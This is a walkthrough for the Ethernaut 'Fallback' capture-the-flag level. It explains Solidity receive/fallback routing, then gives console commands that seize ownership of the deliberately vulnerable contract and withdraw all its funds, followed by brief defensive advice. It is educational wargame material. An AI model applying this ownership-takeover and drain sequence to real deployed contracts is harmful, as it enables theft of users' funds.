The Ethernaut-Solutions repository contains the solutions using Foundry and Hardhat.
Objectives
Claim the ownership of the contract
Withdraw all funds from the contract
Go to Ethernaut. Click on level 1. Open the dev console.
Analysis
When a function that does not exist is called,
When the function selector does not match any function in the contract,
When the call is made to the contract with no calldata such as the
send
,transfer
, andcall
functions,When Ether is sent directly to the contract,
fallback/receive
function is called depending on the following conditions.
Ether is sent to contract
OR
Is msg.data empty?
OR
Function not found
/\
Yes No
/ \
receive() fallback()
exists? exists?
/\ /\
Yes No No Yes
/ \ | \
receive() fallback() Error fallback()
exists?
/\
Yes No
/ \
fallback() Error
To receive Ether, the contract should have
receive()
function. Ifreceive()
function is not present, then thefallback()
function must be declared payable to receive Ether.
In the contract, receive()
function sets msg.sender
as the new owner.
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
We can trigger receive()
function only if
msg.data
is emptymsg.value
> 0contribution of
msg.sender
> 0
Take a look at contribute()
function
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
We are required to send less than 0.001 ether(1000000 gwei) in msg.value
. There’s a require
statement that checks if the user’s contribution is more than the owner’s contribution which is 1000 Ether as defined in the constructor. If that’s the case then the user becomes the new owner. We can exploit the contract and become the new owner without spending such a large amount.
Exploit
Open the Dev console on the browser
Make the contribution of
1 wei
await contract.contribute({ value: 1 })
Now we can trigger the
receive()
function. Send transaction to the contract keepingmsg.data
empty.await contract.sendTransaction({ from: player, value: 1 })
This will trigger receive()
function and set your address as the new owner.
Check the new owner
await contract.owner()
This will return your address as you are the new owner of the contract thus fulfilling 1st objective.
Call
withdraw()
functionawait contract.withdraw()
This will withdraw all the funds from the contract, fulfilling the second objective.
Check the contract balance
await getBalance(contract.address)
It should return '0'.
You have become the owner of the contract and drained it.
Submit the instance.
Level passed!!!😄
fallback()
has a 2300 gas limit when called bytransfer()
orsend()
, the most we can do is send ether or log an event.transfer()
reverts on error, whilesend()
returnsfalse
and will not stop execution. Thetransfer()
uses 2300 gas, which is not adjustable. If the receiving contract needs more gas, it will throw an exception. Always use the check-effects-interaction pattern. Use function modifiers that prevent reentrancy, like Open Zeppelin’s Re-entrancy Guard. If you are using low-level ‘call()
’ function, then limit the gas forwarded using gas option.(eg.address(contract.call{gas: 50000}(“”))
)
The Ethernaut-Solutions repository contains the solutions using Foundry and Hardhat.
Solution using Foundry:-
Solution using Hardhat:-